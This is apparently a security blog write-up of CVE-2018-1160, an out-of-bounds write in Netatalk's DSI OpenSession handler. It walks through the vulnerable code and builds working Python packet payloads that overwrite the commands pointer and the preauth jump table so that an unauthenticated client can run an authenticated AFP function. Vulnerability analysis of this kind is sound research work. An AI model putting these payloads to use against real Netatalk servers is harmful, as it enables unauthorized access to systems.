Contents

CVE-2018-1160

Contents

CVE-2018–1160 Writeup

CVE-2018–1160 is an out of bounds write in Netatalk versions prior to 3.1.12 which was disclosed by Jacob Baines of Tenable who also did a great writeup on this vulnerability that really helped in my investigation into how it works and how to exploit it.

Netatalk is an open source implementation of AFP, which is a file control protocol specifically designed for Mac based systems. AFP uses DSI as a session layer protocol to establish new sessions between the client and server. The vulnerability exists in the way Netatalk handles a DSI OpenSession request, which as the name implies is used by the client to open a new session with the server.

while (i < dsi->cmdlen) {  
  switch (dsi->commands[i++]) {  
    
  case DSIOPT_ATTNQUANT:  
    **memcpy(&dsi->attn_quantum, dsi->commands + i + 1,  
            dsi->commands[i]);**  
    dsi->attn_quantum = ntohl(dsi->attn_quantum);  
    
  case DSIOPT_SERVQUANT: /* just ignore these */  
  default:  
    i += dsi->commands[i] + 1; /*forward past length tag + length */  
    break;  
  }  
}

The overwrite is triggered when memcpy is called under the DSIOPT_ATTNQUANT case as the dsi->commands buffer is a client controlled variable, and there are no checks on the size (dsi->commands[i]) that is passed to this instance of memcpy. To get a better idea of how this overwrite works, we can take a look at part of the DSI structure where dsi->attn_quantum is defined.

typedef struct DSI {  
    struct DSI *next;             /* multiple listening addresses */  
    AFPObj   *AFPobj;  
    int      statuslen;  
    char     status[1400];  
    char     *signature;  
    struct dsi_block        header;  
    struct sockaddr_storage server, client;  
    struct itimerval        timer;  
    int      tickle;            /* tickle count */  
    int      in_write;           
    
    int      msg_request;       /* pending message to the client */  
    int      down_request;      /* pending SIGUSR1 down in 5 mn */  
    uint32_t **attn_quantum**, datasize, server_quantum;  
    uint16_t serverID, clientID;  
    uint8_t  ***commands**; /* DSI recieve buffer */  
    uint8_t  data[DSI_DATASIZ];    /* DSI reply buffer */  
    size_t   datalen, cmdlen;

Looking at the structure above, we can see that attn_quantum is 4 bytes (32 bits) in size. We can also see the commands buffer below which is a pointer to a byte array. Going back to the call to memcpy, we can see that the size parameter is set to commands[i], which can have the highest value of 255 since the parameter is controlled by a single byte. This means that we can overwrite datasize, server_quantum, serverID, clientID, commands, and part of data.

Now that we know what can be overwritten, let’s take a look at how to validate this vulnerability. The best way to do this is to send a DSI OpenSession request to the server so we can inspect the reply. To properly craft our request, we can take a look at the structure of a DSI header.

/images/1_DSopzZwa6-er6GS0kNjZzg.png

Let’s break down each of these fields for more clarity.

Flags — This field determines whether the packet is a request (0x00) or a reply (0x01)

Command — This field determines the particular DSI command to use. In our case this would be 0x04 which represents the OpenSession command.

Request ID — This field is defined as a sequential identifier which is set on request and copied on reply. We will use 0x4141 for our request ID.

Error code/Enclosed Data Offset — This field is reserved for an error code on reply, and is also used for the DSI Write command, but otherwise is set to 0.

Total Data Length — This field indicates the length of the payload section of the packet.

Reserved — This field is reserved for future use and should be set to 0.

Payload — This field will contain DSI command data or an AFP packet. In this circumstance we will use this field to pass along the Open Session parameters to the server.

To properly craft the payload section of the DSI request, we must refer to the AFP reference documentation which outlines the structure of an OpenSession request as follows:

/images/1_0K8RBfSLYaA_89vzkQ3v7g.png

Here we can see the first byte is reserved for the Option type, which in the Netatalk implementation is evaluated in the switch case prior to the call to memcpy we are using to trigger the overwrite. Looking at that code again, we can see this value must be set to DSIOPT_ATTNQUANT which is declared as such:

#define DSIOPT_SERVQUANT 0x00   /* server request quantum */  
#define DSIOPT_ATTNQUANT 0x01   /* attention quantum */  
#define DSIOPT_REPLCSIZE 0x02   /* AFP replaycache size supported by the server (that's us) */

while (i < dsi->cmdlen) {  
  **switch (dsi->commands[i++])** {  
    
  case **DSIOPT_ATTNQUANT**:  
    memcpy(&dsi->attn_quantum, dsi->commands + i + 1,  
            dsi->commands[i]);  
    dsi->attn_quantum = ntohl(dsi->attn_quantum);  
    
  case DSIOPT_SERVQUANT: /* just ignore these */  
  default:  
    i += dsi->commands[i] + 1; /*forward past length tag + length */  
    break;  
  }  
}

The next byte in the OpenSession command structure indicates the length of the Option field that follows. We will set this to 0x04 since we want to craft a proper DSI OpenSession request here, but ultimately we will use our control of this field to trigger the vulnerability. Finally we have the option field, which we will set to an arbitrary 4 byte value that will get written to attn_quantum during the call to memcpy. Using that criteria, our crafted packet will look as follows:

dsi_payload = "\x01" # Server Request Quantum  
dsi_payload += "\x04" # Option Size  
dsi_payload += "\x00\x00\x40\x00" # Client Quantumdsi_packet = "\x00" # Request flag  
dsi_packet += "\x04" # DSIOpenSession command  
dsi_packet += "\x41\x41" # Request ID  
dsi_packet += "\x00\x00\x00\x00" # Error code, not set by client  
dsi_packet += struct.pack(">I", len(dsi_payload)) # Length of payload  
dsi_packet += "\x00\x00\x00\x00" # Reserved for future usedsi_packet += dsi_payload

Let’s send this request to the server and see what it looks like in wireshark.

/images/1_YtbQkPKn-tHmO3CSO8DW0Q.png

We can see the values we discussed earlier set by expanding the DSI section of the request packet:

/images/1_6vzL6dIFpdcHrXVlxWZfdw.png

The corresponding reply packet indicates that our request was formatted properly:

/images/1_IJglQY7IqQyENO9pl5XSeA.png

We can also see that the reply packet responds with a different Open Session option ‘Server Quantum’. If we remember correctly, server_quantum was one of the fields defined after attn_quantum that we are able to overwrite. That means we can validate this vulnerability by overwriting the server_quantum variable and having our overwritten value reflected back. To do this we need to provide 8 additional bytes to our Open Session Option data, as well as increase the Option Length field to accommodate for the additional data. The first 4 additional bytes will overwrite the datasize variable and the next 4 bytes will overwrite the server_quantum variable. We can set datasize to 0x00000000 since we do not care about this value, but we will set server_quantum to 0xdeadbeef as that is an easily recognizable value. Our new packet will look as follows:

dsi_payload = "\x01" # Server Request Quantum  
dsi_payload += "\x0c" # Option Size**  
dsi_payload += "\x00\x00\x40\x00" # Client Quantum  
dsi_payload += "\x00\x00\x00\x00" # overwrite datasize  
dsi_payload += "\xef\xbe\xad\xde" # overwrite the server quantum**dsi_packet = "\x00" # Request flag  
dsi_packet += "\x04" # DSIOpenSession command  
dsi_packet += "\x41\x41" # Request ID  
dsi_packet += "\x00\x00\x00\x00" # Error code, not set by client  
dsi_packet += struct.pack(">I", len(dsi_payload)) # Length of payload  
dsi_packet += "\x00\x00\x00\x00" # Reserved for future use

Looking at the hex output of the DSI Open Session reply we can see that we were able to successfully overwrite the server_quantum variable and that value was reflected back to us.

/images/1_Pg6Sf5liuC_RAhp8DtVylQ.png

Now that we know we are able to successfully write past the bounds of the attn_quantum variable, the next step is to determine what exactly we want to overwrite and how to use it to our advantage. After reviewing the source code, the most obvious variable to overwrite is the commands pointer, which the source comments indicate is used as the DSI receive buffer. The reason this is a good candidate for a a variable to overwrite is that commands is the variable that all DSI command options and AFP commands are written to (we saw this earlier when reviewing the source code for handling the DSI OpenSession request), which means that after we overwrite the commands pointer, we will be able to use subsequent requests to write into the memory address that commands was overwritten with.

To understand what address we will use to overwrite commands and why, we will first take a look at how Netatalk handles AFP commands, specifically in regard to the differences between pre-authenticated and post-authenticated commands.

if (afp_switch[function]) {  
    dsi->datalen = DSI_DATASIZ;  
    dsi->flags |= DSI_RUNNING;    
    LOG(log_debug, logtype_afpd, "<== Start AFP command: %s",  
        AfpNum2name(function));    
    
    AFP_AFPFUNC_START(function, (char *)AfpNum2name(function));  
                    
    err = (*afp_switch[function])(obj,                                                 
        (char *)dsi->commands, dsi->cmdlen,  
        (char *)&dsi->data, &dsi->datalen);    
    
    AFP_AFPFUNC_DONE(function, (char *)AfpNum2name(function));  
    
    LOG(log_debug, logtype_afpd,   
        "==> Finished AFP command: %s -> %s",  
        AfpNum2name(function), AfpErr2name(err));

The above source code takes place when any AFP command is issued over DSI. Essentially it checks whether the entry at index function within the afp_switch buffer is set to a value or if it is NULL. If the entry is indeed set to a value, the corresponding AFP function is executed.

The declaration of afp_switch shows that it is initially set to a jump table called preauth_switch shown partially below:

static AFPCmd preauth_switch[] = {  
    NULL, NULL, NULL, NULL,  
    NULL, NULL, NULL, NULL,       
    NULL, NULL, NULL, NULL,  
    NULL, NULL, NULL, NULL,       
    NULL, NULL, afp_login, afp_logincont,  
    afp_logout, NULL, NULL, NULL,      
    NULL, NULL, NULL, NULL,  
    NULL, NULL, NULL, NULL,       
    NULL, NULL, NULL, NULL,  
    NULL, NULL, NULL, NULL,       
    NULL, NULL, NULL, NULL,  
    NULL, NULL, NULL, NULL,       
    NULL, NULL, NULL, NULL,  
    NULL, NULL, NULL, NULL,       
    NULL, NULL, NULL, NULL,  
    NULL, NULL, NULL, afp_login_ext,      
    NULL, NULL, NULL, NULL,

As we can see, this jump table contains four commands that are accessible to a unauthenticated client; afp_login, afp_logincont, afp_logout, and afp_login_ext. Looking at the source code, we can also see that there is a matching jump table called postauth_switch that afp_switch gets set to after a client authenticates, and looks as follows:

AFPCmd postauth_switch[] = {  
    NULL, afp_bytelock, afp_closevol, afp_closedir,  
    afp_closefork, afp_copyfile, afp_createdir, afp_createfile,   
    afp_delete, afp_enumerate, afp_flush, afp_flushfork,  
    afp_null, afp_null, afp_getforkparams, afp_getsrvrinfo,   
    afp_getsrvrparms, afp_getvolparams, afp_login, afp_logincont,  
    afp_logout, afp_mapid, afp_mapname, afp_moveandrename,   
    afp_openvol, afp_opendir, afp_openfork, afp_read,  
    afp_rename, afp_setdirparams, afp_setfilparams,   
    afp_setforkparams,

Here we can see there are a lot more commands available to an authenticated user, but more importantly, we have a mostly empty array of functions which the server can execute on behalf of an unauthenticated client. This makes preauth_switch an ideal candidate to overwrite the commands variable, and using a follow up AFP command request over the same connection, we can theoretically overwrite one of the NULL entries in preauth_switch with an entry from the postauth_switch table allowing for an unauthenticated client to execute a function that should require authentication.

To prove this we are going to need the memory address of preauth_switch as well as the address of one of the postauth_switch functions. I chose to use afp_getsrvrinfo as it is the same function targeted in the initial Tenable writeup and it requires no additional parameters making the payload easier to craft. To get the required memory addresses, we can use GDB (please note that this method only works if you have access to the system Netatalk is running on and if ASLR is disabled, although it is possible to get around those obstacles as well).

/images/1_EU4ghspE6yxRHhoJgYeKkA.png

/images/1_QJyaWxA3ssvddcHYxHvrrA.png

From the debugger outputs above, we can see that preauth_switch is located at 0x00005555555a9a20 and afp_getsrvrinfo is located at 0x00005555555863a0.

The final piece we need to create our exploit is the structure of the AFP command request, which we can refer back to the AFP reference to find. The reference defines this request simply with 2 bytes. The first byte contains the command code, which represents the indexed position of the AFP command’s function within the active jump table (either preauth_switch or postauth_switch) and the second byte is simply a pad byte which can be set to 0. It is also important to note that since we are overwriting the commands pointer with the address of preauth_switch, we need to add some padding after our AFP command data in order to be properly aligned with one of the indexed values in the array. Specifically, the padding should be 6 bytes, as preauth_switch is an array of 8 byte values, and the AFP command data only consumes 2 bytes. After writing the AFP command data and the padding to preauth_switch, we will be aligned at index 0x01 of the array which is where we will write the address of afp_getsrvrinfo.

Putting this together, our new DSI OpenSession request should look as follows:

dsi_payload = "\x01" # Client Request  
dsi_payload += "\x18" # 20 bytes in length  
dsi_payload += "\x00\x00\x40\x00" # Client Quantum  
dsi_payload += "\x00\x00\x00\x00" # overwrite datasize  
dsi_payload += "\xef\xbe\xad\xde" # overwrite the server quantum  
dsi_payload += "\xbe\xba\xfe\xca" # overwrite serverID and clientID  
dsi_payload += "\x20\x9a\x5a\x55\x55\x55\x00\x00" # overwrite commands with preauth_switch addressdsi_packet = "\x00" # Request flag  
dsi_packet += "\x04" # DSIOpenSession command  
dsi_packet += "\x41\x41" # Request ID  
dsi_packet += "\x00\x00\x00\x00" # Error code, not set by client  
dsi_packet += struct.pack(">I", len(dsi_payload)) # Length of payload  
dsi_packet += "\x00\x00\x00\x00" # Reserved for future use

and our AFP command packet should look like this:

afp_payload = "\x01" # index of command we want to run  
afp_payload += "\x00" # pad byte  
afp_payload += "\x00\x00\x00\x00\x00\x00" # additional 6 byte padding so we can reach second index of preauth table  
afp_payload += "\xa0\x63\x58\x55\x55\x55\x00\x00" # address of afp_getsrvrinfodsi_header = "\x00" # request flag  
dsi_header += "\x02" # DSI Command  
dsi_header += "\x41\x41" # Request ID  
dsi_header += "\x00\x00\x00\x00" # Error code not set by client  
dsi_header += struct.pack(">I", len(afp_payload)) # AFP payload size  
dsi_header += "\x00\x00\x00\x00" # Reserved field

The wireshark output is a little off as it interprets the 0x01 command code as FPByteRangeLock, which makes sense since that is the function located at index 0x01 in the postauth_switch table, but looking at the data that was returned, we can see that the server is actually returning the information related to afp_getsrvrinfo.

/images/1_W1AUDHCi9sXJNfoNqJfVbA.png

This becomes even more apparent when we look at the raw output of the AFP reply which contains the server name (mern in this case), the Netatalk version and supported AFP versions:

/images/1_CGXiCzbJD95-AzMNKEmIBw.png